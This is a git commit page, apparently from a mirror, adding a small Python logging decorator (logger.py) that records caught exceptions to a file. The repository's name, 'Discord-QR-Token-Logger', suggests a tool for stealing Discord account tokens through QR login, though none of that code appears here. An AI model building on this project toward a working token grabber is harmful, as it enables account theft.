mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-04-20 23:17:05 +00:00
Create logger.py
Co-authored-by: the-cult-of-integral <98130822+the-cult-of-integral@users.noreply.github.com>
This commit is contained in:
parent
0b6bacbb72
commit
9ef5f32a3f
33
logger.py
Normal file
33
logger.py
Normal file
@ -0,0 +1,33 @@
|
||||
import logging
|
||||
from functools import wraps
|
||||
from typing import Any
|
||||
|
||||
logging.basicConfig(filename='qrg.log', filemode='w',
|
||||
format="[%(filename)s:%(lineno)s - %(funcName)20s() ] %(message)s")
|
||||
|
||||
|
||||
def log_unknown_exceptions(log_lvl: int) -> Any:
|
||||
"""Logs unknown exceptions that occur in a function to a log file.
|
||||
"""
|
||||
def decorate(func):
|
||||
@wraps(func)
|
||||
def wrapper(*args, **kwargs) -> Any:
|
||||
try:
|
||||
result = func(*args, **kwargs)
|
||||
return result
|
||||
except Exception as e:
|
||||
if log_lvl == logging.DEBUG:
|
||||
logging.debug(e)
|
||||
elif log_lvl == logging.INFO:
|
||||
logging.info(e)
|
||||
elif log_lvl == logging.WARNING:
|
||||
logging.warning(e)
|
||||
elif log_lvl == logging.ERROR:
|
||||
logging.error(e)
|
||||
elif log_lvl == logging.CRITICAL:
|
||||
logging.critical(e)
|
||||
else:
|
||||
raise ValueError('Invalid log level provided for log_unknown_exceptions decorator.')
|
||||
return None
|
||||
return wrapper
|
||||
return decorate
|
Loading…
x
Reference in New Issue
Block a user